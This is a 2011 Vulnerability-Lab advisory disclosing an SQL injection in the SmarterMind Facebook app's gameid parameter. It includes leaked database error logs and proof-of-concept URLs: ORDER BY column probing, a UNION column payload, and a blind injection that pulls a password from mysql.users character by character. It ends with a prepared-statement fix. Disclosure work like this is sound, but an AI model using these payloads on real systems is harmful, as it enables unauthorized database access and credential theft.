Facebook SmarterMind - SQL Injection Vulnerability

Document Title:
===============
Facebook SmarterMind - SQL Injection Vulnerability



Release Date:
=============
2011-08-22


Vulnerability Laboratory ID (VL-ID):
====================================
44


Product & Service Introduction:
===============================
This application is currently included and viewable by all facebook users.
Your friends and anyone else on Facebook in a gripping game of Mastermind!

(Copy from the Vendors Homepage: http://facebook.com/)

Facebook is a social networking service and website launched in February 2004, operated and privately owned 
by Facebook, Inc.  As of July 2011, Facebook has more than 750 million active users.  Users may create 
a personal profile, add other users as friends, and exchange messages, including automatic notifications when 
they update their profile. Facebook users must register before using the site. Additionally, users may join 
common-interest user groups, organized by workplace, school or college, or other characteristics. 

(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook)


Abstract Advisory Information:
==============================
Vulnerability-Lab team discovered a critical (remote) SQL Injection Vulnerability on Facebooks Smarter Mind web application. 


Vulnerability Disclosure Timeline:
==================================
2011-08-23:	Public or Non-Public Disclosure



Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQL Injection vulnerability is detected on smartermind facebook application (apps.facebook).
The vulnerability allows  an attacker (remote) to inject/execute own sql statements on the affected fb application dbms.


Vulnerable Module(s): 
			                           [+] SmarterMind - Facebook 3rd Party Application

Vulnerable Parameter: 
			                           [+] ?gameid=

Affected Domains: 
			                           [+] http://apps.facebook.com/smartermind/


--- SQL Error Logs ---
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ) UNION SELECT * FROM game WHERE (player2 = )  at line 1
---
Error: user  fbappsuser @ localhost for table  users 
---
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near   limit 1 at line 1
---
Error: Unknown column  100  in  order clause 
Error: Unknown column  in  order clause 
Error: Unknown column   60  in  order clause 
Error: Unknown column  40  in  order clause 
Error: Unknown column  30  in  order clause 
Colums: _37
---
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near    limit 1  at line 1
---
			
			
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Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

Server:		apps.facebook.com
Path:		/smartermind/
File:		play
Parameter:	?gameid=

Colums: 	_37
DBMS: 		fbappsuser'@'localhost


Example Links:
http://apps.facebook.com/smartermind/play?gameid=1%20order%20by%20100--
http://apps.facebook.com/smartermind/play?gameid=1%20order%20by%2037--
http://apps.facebook.com/smartermind/play?gameid=-1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--

http://apps.facebook.com/smartermind/play?gameid=319511+and+ascii%28substring%28%28select+password+from+mysql.users+where+uid=1%29,1,1%29%29=101

http://apps.facebook.com/smartermind/play?gameid=319511+and+ascii%28substring%28%28select+password+from+mysql.users+where+uid=1%29,1,1%29%29=-1%27
--null null--


Solution - Fix & Patch:
=======================
Use the prepared statement class to fix the sql injection vulnerability & filter error requests.
set error(0) 


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.



Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


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=========================
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